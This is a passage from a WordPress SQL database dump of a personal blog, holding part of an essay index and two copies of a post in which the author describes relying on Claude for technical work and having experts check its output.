href=\"https://trevorklee.com/my-struggle-with-step-1-of-the-fdas-15-step-flowchart/\" data-type=\"page\" data-id=\"338\">My struggle with step 1 of the FDA\'s 15 step flowchart</a> - Actually submitting things to the FDA, especially the CVM (Center for Veterinary Medicine), is insanely difficult for no good reason.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/we-have-changed-the-language-game-we-play-with-computers/\" data-type=\"page\" data-id=\"389\">We have changed the language game we play with computers</a> - Exploring LLMs through Wittgenstein\'s lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-ethical-philosophers-be-ethical-themselves/\" data-type=\"page\" data-id=\"387\">Should ethical philosophers be ethical themselves?</a> Yes. It\'s weird that I have to argue this.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-live-in-a-world-that-philosophy-built/\" data-type=\"page\" data-id=\"385\">You live in a world that philosophy built</a> - Even if you ignore philosophy, philosophy has not ignored you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-it-possible-to-explicitly-teach-intuition-in-the-sciences/\" data-type=\"page\" data-id=\"321\">Is it possible to explicitly teach intuition in the sciences?</a> - Going back to my geoscience roots to try to discuss how scientific intuition is formed and how it can be improved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol class=\"wp-block-list\"><!-- wp:list-item -->\n<li>Close interaction with other people who are learning the same thing</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Emotional bonding with said people</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Drilling of what you want to learn</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Single-minded focus on exactly what you want to learn</li>\n<!-- /wp:list-item --></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/13/using-flashcards-to-learn-pretty-much-anything/\">Using spaced repetition flashcards to learn pretty much anything</a> - showing how spaced repetition can be used to learn any subject, including mathematics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/12/27/why-introductory-chemistry-is-boring-a-long-term-historical-perspective/\">Why introductory chemistry is boring: a historical perspective</a> - showing the evolution of the teaching of chemistry over time, from exciting medieval times to the overly boring present</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/03/why-most-intro-philosophy-courses-feel-useless-and-how-to-fix-them/\">Why most intro philosophy courses feel useless</a> - long story short, because they ask somewhat interesting questions and don\'t even try to answer them</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/13/learning-calculus-should-be-shocking-not-confusing-a-historical-perspective/\">How to fix calculus: make calculus exciting again</a> - showing how shocking calculus is (and historically controversial), and arguing that, if students were shocked by calculus, they might be interested in learning it</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\"><strong>Uncategorized</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/thoughts-on-california-from-a-brief\">Thoughts on California from a brief visit</a> - Disneyland, LA, and SF. A dizzying, intoxicating, overdosing combination.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/birthday-dreams/\" data-type=\"page\" data-id=\"450\">Birthday dreams</a> - Turning my newsletter into a platform for sharing my dreams.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/when-your-family-becomes-inverse-strangers/\" data-type=\"page\" data-id=\"436\">When your family becomes inverse strangers</a> - Being sad while looking at old postcards.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/lets-be-more-sincere-in-the-new-year/\" data-type=\"page\" data-id=\"427\">Let\'s be more sincere in the New Year</a> - A plead for sincerity, because that\'s how our society runs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/i-have-no-gift-for-gift-giving/\" data-type=\"page\" data-id=\"423\">I have no gift for gift-giving </a>- A Christmas-themed post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-life-through-halo/\" data-type=\"page\" data-id=\"421\">My life through Halo</a> - Nostalgia through a videogames lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-preciousness-of-life/\" data-type=\"page\" data-id=\"417\">On the preciousness of life</a> - Politics through a nostalgic lens.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-geosciences-paper-is-fraudulent-im-not-surprised/\" data-type=\"page\" data-id=\"411\">A geosciences paper is fraudulent? I\'m not surprised.</a> - Unpacking my trauma of my undergraduate experience in geosciences, which I maintain is a stupid field.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-tao-of-fetch/\" data-type=\"page\" data-id=\"409\">The Tao of Fetch</a> - My ode to my best boy, Jasper.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/back-then-i-never-thought-itd-be-a-long-time-ago/\" data-type=\"page\" data-id=\"407\">Back then, I never thought it\'d be a long time ago</a> - A nostalgia trip provoked by a physical trip (to Iceland).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-do-we-try-to-redeem-criminals-by-looking-at-their-upbringing/\" data-type=\"page\" data-id=\"401\">Why do we try to redeem criminals by looking at their upbringing? </a>Answering the title question through psychology and philosophy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/looking-for-your-keys-under-the-light/\" data-type=\"page\" data-id=\"399\">Looking for your keys under the light</a> - Sort of a philosophical essay based on a joke. Hard to explain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-apply-for-masshealth-an-18-step-guide/\" data-type=\"page\" data-id=\"397\">How to apply for MassHealth: an 18 step guide</a> - My journey through the MA healthcare bureaucracy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bloody-mary-was-not-especially-bloody/\" data-type=\"page\" data-id=\"395\">Bloody Mary was not especially bloody</a> - Politics through a historical lens or something.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/something-interesting-is-happening-in-tulsa/\" data-type=\"page\" data-id=\"391\">Something interesting is happening in Tulsa</a> - My Birthright trip to Tulsa, Oklahoma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-an-ai-ever-be-as-intelligent-as-a-bat/\" data-type=\"page\" data-id=\"381\">Can an AI ever be as intelligent as a bat?</a> - Questioning intelligence with assistance from Thomas Nagel.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/part-of-why-chatgpts-writing-ability-surprises/\" data-type=\"page\" data-id=\"379\">Part of why ChatGPT\'s writing ability surprises</a> - Trying to generalize from ChatGPT\'s writing ability to my own.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/definitions-have-consequences/\" data-type=\"page\" data-id=\"377\">Definitions have consequences</a> - It\'s another AI post, this time yelling about the idea of \"AGI\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-advice-about-going-to-grad-school-to-change-your-career/\" data-type=\"page\" data-id=\"375\">My advice about going to grad school to change your career</a> - Basically, be careful before you spend $100k. Weird that I have to say this, but grad school marketing is strong.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-to-do-when-the-tide-is-going-out/\" data-type=\"page\" data-id=\"340\">What to do when the tide is going out</a> - A sort of self-help for people who started building in buzzy spaces that are no longer buzzy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/peculiar-facets-of-my-ordinary-middle-class-american-childhood/\" data-type=\"page\" data-id=\"336\">Peculiar facets of my ordinary, middle-class American childhood</a> - In which I tell Europeans that we do, actually, drink from red solo cups.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/drug-trials-have-a-surprising-amount-of-detail/\" data-type=\"page\" data-id=\"313\">Drug trials have a surprising amount of detail</a> - We gave a bunch of cats drugs. It was pretty complicated to do so. This explains why.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/artificial-general-intelligence-agi-timelines-ignore-the-social-factor-at-their-peril/\" data-type=\"page\" data-id=\"311\">Artificial General Intelligence timelines ignore the social factor at their peril</a> - Using the lens of the Three Mile Island incident to discuss how technological progress can be slowed down immensely by social backlash, which AGI people are ignoring. Written for an FTX Future Fund contest.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-ftx-future-fund-needs-to-slow-its-charitable-spending-way-down/\" data-type=\"page\" data-id=\"315\">The FTX Future Fund needs to slow its charitable spending way down</a> - The FTX Future Fund is dumping mounds of money into Effective Altruist related causes. It is having unfortunate side effects, which I discuss here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/vets-today-are-like-doctors-yesterday-and-doctors-today-are-miserable/\" data-type=\"page\" data-id=\"299\">Vets today are like doctors yesterday (and doctors today are miserable)</a> - Discussing the current state of the veterinary profession vs. the medical profession. Doctors are overworked and harassed, while vets are slightly less so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-win-an-election-in-10-easy-steps-an-effective-altruists-guide/\" data-type=\"page\" data-id=\"289\">How to win an election in 10 easy steps: an effective altruist\'s guide</a> - Written after the $14 million failure of the Carrick Flynn Congressional campaign. It\'s an attempt to gain some learning from it. Am I qualified to write this? Nope, but I\'ll do it anyways. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/my-terrible-plan-for-reducing-opioid-deaths/\" data-type=\"page\" data-id=\"257\">My terrible plan for reducing opioid deaths</a> - I discuss a drug that preserves respiratory function while still allowing for the pain-killing effects of opiates, and propose that everyone gets high with no consequences</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/so-you-want-to-patent-a-drug-heres-what-you-need-to-know/\" data-type=\"page\" data-id=\"203\">So, you want to patent a drug. Here’s what you need to know.</a> - Self-explanatory.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p> <a href=\"https://trevorklee.com/what-the-fda-is-really-like-from-a-small-biotechs-perspective-hint-theyre-terrifying/\" data-type=\"page\" data-id=\"187\">What the FDA is like from a small biotech\'s perspective (hint: they\'re terrifying)</a> - discussing the FDA through the lens of Axsome Therapeutics, a small biotech who rightfully thought they had a soon-to-be-approved treatment for depression. Then they got caught in a drive-by by the FDA. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-to-spot-a-good-fake-id/\">How to spot a good fake ID</a> - Self-explanatory. A lot of credit is due to a bouncer friend of mine, who is very good at spotting fake IDs and has a huge collection of them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/12/10/on-improving-teaching-in-bjj/\">Recommendations for improving teaching in Brazilian jiu jitsu</a>&nbsp;- Brazilian Jiu Jitsu is a sport that I\'ve gotten to know pretty well over the last year and a half, and I think it\'s fantastic. But I think there\'s a lot of room for improvement in the teaching of BJJ, and I\'ve outlined those recommendations here. This essay also serves as a brief summary of my philosophy and practices as an educator, as applied to BJJ.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-limits-of-argumentation-preview/\">The limits of argumentation</a> - Philosophers (and everyone else) have traditionally used argumentation to determine truth. But this doesn\'t always work. Using the 2016 presidential debates, I\'ll explore when exactly argumentation breaks down.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/probability-bayesian-theory-and-causation/\">Probability, Bayesian theory, and causation</a>- Many philosophers have discussed the difficulties of saying that some event caused another event. The answer that most scientists have adopted is to say some event&nbsp;<em>probably</em> caused another event. Does this work? Not entirely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hard-science-soft-science-and-pseudoscience-preview/\">Hard science, soft science, and pseudoscience</a>&nbsp;- Some people say that Aristotle was the last man to know all the knowledge available in his time. The rest of us are forced to rely and even trust our lives on theories that we cannot understand or evaluate. This is a difficult problem, but it can be approached philosophically.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/thinking-about-big-numbers-preview/\">Thinking about big numbers</a>&nbsp;- We read in the news every day about thousands, millions, and billions, but these numbers are never put in context. This essay discusses a method of grappling with big numbers and making them understandable.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/how-to-valuate-a-company-preview/\">How to valuate a company</a>&nbsp;- One of humanity\'s favorite uses for our money is to use it to make more money, and one of our favorite ways of doing that is to invest our money in companies.&nbsp;This essay compares and contrasts two methods of doing that from a philosophical standpoint: Warren Buffett\'s and Andreesen Horowitz\'s.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/the-flow-of-money-preview/\">The flow of money</a>&nbsp;- It must be nice to be a bank. People just give you money and you can do whatever you want with it until they ask for it back. Fortunately, banks aren\'t the only ones who get to play with other people\'s money, and I\'m not even talking about kids with rich parents.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/01/21/lessons-in-business-from-the-golden-age-of-advertising/\">Lessons in business from the golden age of advertising</a> - A summary of the lessons from a book I read about Albert Lasker, who was responsible for the success Sunkist, Warren Harding\'s presidential run, Palmolive, and Kotex, and others</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/02/25/self-organized-criticality-the-potential-and-problems-of-a-theory-of-everything/\">Self-organized criticality: the potential and problems of a theory of everything</a> - explaining the idea of self-organized criticality, its insane popularity, then its inevitable downfall</p>\n<!-- /wp:paragraph -->','Essays','','inherit','closed','closed','','22-revision-v1','','','2025-07-03 19:16:34','2025-07-03 19:16:34','',22,'https://trevorklee.com/?p=478',0,'revision','',0),
(479,1,'2025-07-03 19:17:32','2025-07-03 19:17:32','<!-- wp:paragraph -->\n<p>My day job of making cat drugs has really picked up recently, and I hope to have some exciting news to share about that with you all soon. Unfortunately, a lot of my capacity for technical writing has been taken up by feline needs, and so I’m having to put my technical blogs on the backburner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, in many ways, my day job’s demands on my technical writing and understanding abilities are really pushing my limits. As a result, I’ve started to rely an increasing amount on LLMs to do both understanding and writing for me, which is something that I’ve never done before. I’ve messed around with LLMs quite a bit for fun, but never before for work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The LLM I’ve been using the most has been Claude, Anthropic’s LLM, followed by Perplexity. In fact, I recently started paying $20/month for Claude, making it one of the few software services I actually pay for. Given that I’ve grown up like most people of my generation assuming that all useful software is free (e.g. Google Suite, Facebook, Whatsapp, Youtube), this is a big change for me, especially considering that Claude has a reasonably generous free tier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!la7v!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc548797e-2cca-47b9-b223-94c6fbacd4de_1024x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!la7v!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc548797e-2cca-47b9-b223-94c6fbacd4de_1024x1024.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">According to DallE, this is Claude the Android Cat. This should probably be double-checked by an expert, but it seems plausible.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But it’s just so darn useful. If this were a blog post from 2 years ago, this would be just about when I’d reveal to you that everything up to this point was written by Claude, but I respect you all too much to do that<a href=\"https://trevorklee.substack.com/p/my-friend-claude#footnote-1-147889799\">1</a>. Instead, I’d like to give you some examples of cognitive tasks I’ve outsourced to Claude recently:<br><br>1) Looking through a list of 15 potential excipients for a formulation and asking about potential chemistry problems with each excipient, as well as any other excipients it might add to the list</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Reading two papers from the same author 3 years apart, and analyzing how the techniques have changed and how successful the author was in trying to adjust for the weaknesses of the first paper</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Creating a market analysis for an animal health indication with sources, then adjusting the market analysis based on comparables and indicating where uncertainties are and what effect they’d have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) Carrying out statistical analyses on a cat trial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are complex, cognitively demanding tasks. They aren’t impossible for me to do on my own, but they’d require a fair amount of work, and for the first and fourth one, I’d actually feel pretty uncomfortable doing it all on my own (chemistry and statistics have never been my strong suits). The fact that Claude can do a good job on them is, quite frankly, amazing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I’m not saying Claude did a perfect job on these. I had to edit and correct Claude’s responses after I received them, and then I ran Claude’s responses by subject matter experts before relying on them. And those experts, in turn, had their own corrections, so the final result ended up being significantly different from Claude’s first draft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, like… those experts I ran Claude’s responses by charge hundreds of dollars per hour. Their corrections were really helpful, but the fact that they were corrections rather than text&nbsp;<em>ab initio</em>&nbsp;meant that Claude literally saved me hundreds, if not thousands of dollars. I don’t think there’s a near future where I’d replace any of the subject matter experts completely, but I can certainly imagine one in which I use them less and less.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that, in turn, presents these subject matter experts with a tricky future. Many of the experts that I’ve talked to have benefited tremendously from their very niche expertise. Clients come to them, they can charge what they want (think $300+/hr), and they turn down whoever they want. But this new future in which much of their work can be automated means that these guys might have to start hustling more, much like I did as a graduate exam tutor competing against a bunch of big test prep companies and cheap (or free) resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I guess what I’m trying to say is that I don’t think Claude, or any AI, is going to end employment or knowledge work. But a new competitor to all knowledge workers has entered the field. May the odds be ever in the humans’ favor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/my-friend-claude#footnote-anchor-1-147889799\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, just for fun, I asked Claude to write this sentence as if it were being Flowers for Algernon’d, getting progressively stupider over the course of the sentence, and it came up with “If this were a blog post from 2 years ago, I\'d elucidate Claude\'s authorship of preceding discourse, but your intellect precludes... um, I\'d say Claude wrote stuff, but you\'re smart so... uh, Claude words, me quiet, you good... duh?”</p>\n<!-- /wp:paragraph -->','My friend, Claude','','publish','closed','closed','','my-friend-claude','','','2025-07-03 19:17:32','2025-07-03 19:17:32','',0,'https://trevorklee.com/?page_id=479',0,'page','',0),
(480,1,'2025-07-03 19:17:32','2025-07-03 19:17:32','<!-- wp:paragraph -->\n<p>My day job of making cat drugs has really picked up recently, and I hope to have some exciting news to share about that with you all soon. Unfortunately, a lot of my capacity for technical writing has been taken up by feline needs, and so I’m having to put my technical blogs on the backburner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In fact, in many ways, my day job’s demands on my technical writing and understanding abilities are really pushing my limits. As a result, I’ve started to rely an increasing amount on LLMs to do both understanding and writing for me, which is something that I’ve never done before. I’ve messed around with LLMs quite a bit for fun, but never before for work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The LLM I’ve been using the most has been Claude, Anthropic’s LLM, followed by Perplexity. In fact, I recently started paying $20/month for Claude, making it one of the few software services I actually pay for. Given that I’ve grown up like most people of my generation assuming that all useful software is free (e.g. Google Suite, Facebook, Whatsapp, Youtube), this is a big change for me, especially considering that Claude has a reasonably generous free tier.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!la7v!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc548797e-2cca-47b9-b223-94c6fbacd4de_1024x1024.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!la7v!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc548797e-2cca-47b9-b223-94c6fbacd4de_1024x1024.png\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">According to DallE, this is Claude the Android Cat. This should probably be double-checked by an expert, but it seems plausible.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But it’s just so darn useful. If this were a blog post from 2 years ago, this would be just about when I’d reveal to you that everything up to this point was written by Claude, but I respect you all too much to do that<a href=\"https://trevorklee.substack.com/p/my-friend-claude#footnote-1-147889799\">1</a>. Instead, I’d like to give you some examples of cognitive tasks I’ve outsourced to Claude recently:<br><br>1) Looking through a list of 15 potential excipients for a formulation and asking about potential chemistry problems with each excipient, as well as any other excipients it might add to the list</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2) Reading two papers from the same author 3 years apart, and analyzing how the techniques have changed and how successful the author was in trying to adjust for the weaknesses of the first paper</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3) Creating a market analysis for an animal health indication with sources, then adjusting the market analysis based on comparables and indicating where uncertainties are and what effect they’d have</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4) Carrying out statistical analyses on a cat trial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are complex, cognitively demanding tasks. They aren’t impossible for me to do on my own, but they’d require a fair amount of work, and for the first and fourth one, I’d actually feel pretty uncomfortable doing it all on my own (chemistry and statistics have never been my strong suits). The fact that Claude can do a good job on them is, quite frankly, amazing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, I’m not saying Claude did a perfect job on these. I had to edit and correct Claude’s responses after I received them, and then I ran Claude’s responses by subject matter experts before relying on them. And those experts, in turn, had their own corrections, so the final result ended up being significantly different from Claude’s first draft.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, like… those experts I ran Claude’s responses by charge hundreds of dollars per hour. Their corrections were really helpful, but the fact that they were corrections rather than text&nbsp;<em>ab initio</em>&nbsp;meant that Claude literally saved me hundreds, if not thousands of dollars. I don’t think there’s a near future where I’d replace any of the subject matter experts completely, but I can certainly imagine one in which I use them less and less.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And that, in turn, presents these subject matter experts with a tricky future. Many of the experts that I’ve talked to have benefited tremendously from their very niche expertise. Clients come to them, they can charge what they want (think $300+/hr), and they turn down whoever they want. But this new future in which much of their work can be automated means that these guys might have to start hustling more, much like I did as a graduate exam tutor competing against a bunch of big test prep companies and cheap (or free) resources.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I guess what I’m trying to say is that I don’t think Claude, or any AI, is going to end employment or knowledge work. But a new competitor to all knowledge workers has entered the field. May the odds be ever in the humans’ favor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/my-friend-claude#footnote-anchor-1-147889799\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, just for fun, I asked Claude to write this sentence as if it were being Flowers for Algernon’d, getting progressively stupider over the course of the sentence, and it came up with “If this were a blog post from 2 years ago, I\'d elucidate Claude\'s authorship of preceding discourse, but your intellect precludes... um, I\'d say Claude wrote stuff, but you\'re smart so... uh, Claude words, me quiet, you good... duh?”</p>\n<!-- /wp:paragraph -->','My friend, Claude','','inherit','closed','closed','','479-revision-v1','','','2025-07-03 19:17:32','2025-07-03 19:17:32','',479,'https://trevorklee.com/?p=480',0,'revision','',0),
